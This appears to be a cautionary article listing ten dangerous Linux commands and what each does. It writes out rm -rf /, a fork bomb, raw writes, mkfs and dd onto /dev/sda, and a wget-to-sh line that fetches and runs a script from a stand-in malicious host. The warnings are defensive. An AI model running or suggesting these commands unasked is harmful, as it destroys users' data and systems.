Just like on Windows, Linux also has many terminal commands to perform different operations. However, unlike Windows, Linux will not ask you to confirm the execution of any command that may damage the system. Therefore, we recommend that you do not use these commands under any circumstances.
Of course, the following commands are usually only used with root privileges; as a regular user, you will only affect your own files.
1 rm -rf command#
The rm -rf command is one of the fastest ways to delete a folder and its contents.
Even a small mistake or ignorance can lead to irreversible system damage.
Here are some options for the rm command:
- The rm command is usually used to delete files in Linux.
- The rm -r command recursively deletes folders, even empty ones.
- The rm -f command can delete "read-only files" without asking for confirmation. In Linux, deleting a file does not depend on whether the file is read-only, but rather on whether the parent directory has write permissions. Therefore, the -f parameter indicates that no individual confirmation is required and all files will be silently deleted. Additionally, the original rm command actually does not have a deletion prompt, but most distributions add the -i parameter to rm as an alias to request confirmation before deletion, and -f suppresses this prompt.
- rm -rf /: Forcefully deletes everything in the root directory.
- rm -rf *: Forcefully deletes all files in the current directory.
- rm -rf .: Forcefully deletes the current folder and its subfolders.
From now on, please be careful when executing the rm -rf command. We can create an alias for the 'rm' command in the ".bashrc" file to use rm -i, which will prompt you to confirm each deletion request. (Note: Most distributions already do this, but if yours doesn't, please do it and consider carefully what you are doing before using the -f parameter! I have learned this lesson the hard way.)
2 :{:|:&};: command#
This is an example of a fork bomb.
The specific operation is to define a function named ':' that calls itself twice, once in the foreground and once in the background. It will keep executing until the system crashes.
3 command > /dev/sda#
This command writes the output of a 'command' to the block device /dev/sda.
This operation replaces all data blocks in the block device with the raw data written by the command, resulting in the loss of all data in the block device.
4 mv folder /dev/null#
This command moves a 'folder' to /dev/null.
In Linux, /dev/null or null device is a special file where all data written to it is discarded and the write operation returns success.
Of course, it should be noted that this command does not prevent data recovery software from recovering the data. To truly destroy the data, specialized software or methods are required.
5 wget http://malicious_source -O- | sh#
This command downloads a script from a (possibly) malicious source and executes it.
The wget command downloads the script, and sh unconditionally executes the downloaded script.
Note: You should always be cautious about the sources from which you download scripts or programs. Only use those downloaded from trusted sources.
6 mkfs.ext3 /dev/sda#
The above command formats the block device 'sda', and after executing this command, your block device (hard drive) will be formatted, rendering your system irrecoverable.
Usually, we do not directly use devices like /dev/sda unless they are used as raw devices.
Usually, we need to partition sda into partitions like sda1, sda2 before using it. However, whether you use sda or sda1, using mkfs on a block device or partition is destructive, and the data mentioned above will evaporate.
7 > file#
This command is commonly used to empty a file or record command output.
However, please make sure that the file being overwritten is empty or does not exist before executing it, otherwise the original file cannot be recovered - not even data recovery software can help you.
You may actually want to use ">>" to append new output to the file instead of overwriting it.
If you execute a command like "> xt.conf" with incorrect or ignorant input, it will overwrite the configuration file or any other system configuration file.
8 ^foo^bar#
This command is used to edit a previously executed command without having to retype the entire command.
Using the foobar command without thoroughly checking the risks of changing the original command can cause real trouble.
9 dd if=/dev/random of=/dev/sda#
This command writes random garbage files to the block device sda, thereby erasing data and potentially putting your system in a chaotic and irrecoverable state.
Remember when we talked about moving to the black hole not completely deleting the data? Well, this command gives you a way to completely delete it! Of course, for safety reasons, you can overwrite it multiple times.
10 Hidden command#
The following command is actually the same as the first command (rm -rf).
The code is hidden in hexadecimal, and an ignorant user may be fooled. Running the following command in the terminal may erase your root partition.
The real danger is hidden and not easily detected. You must always be mindful of what you are doing and what the consequences may be.
Remember, never compile/run code from unknown sources.
That's all for the commands today. Please remember not to try them randomly on servers or other devices.
If you want to test them, please do so in a virtual machine, otherwise you may lose files or crash the system.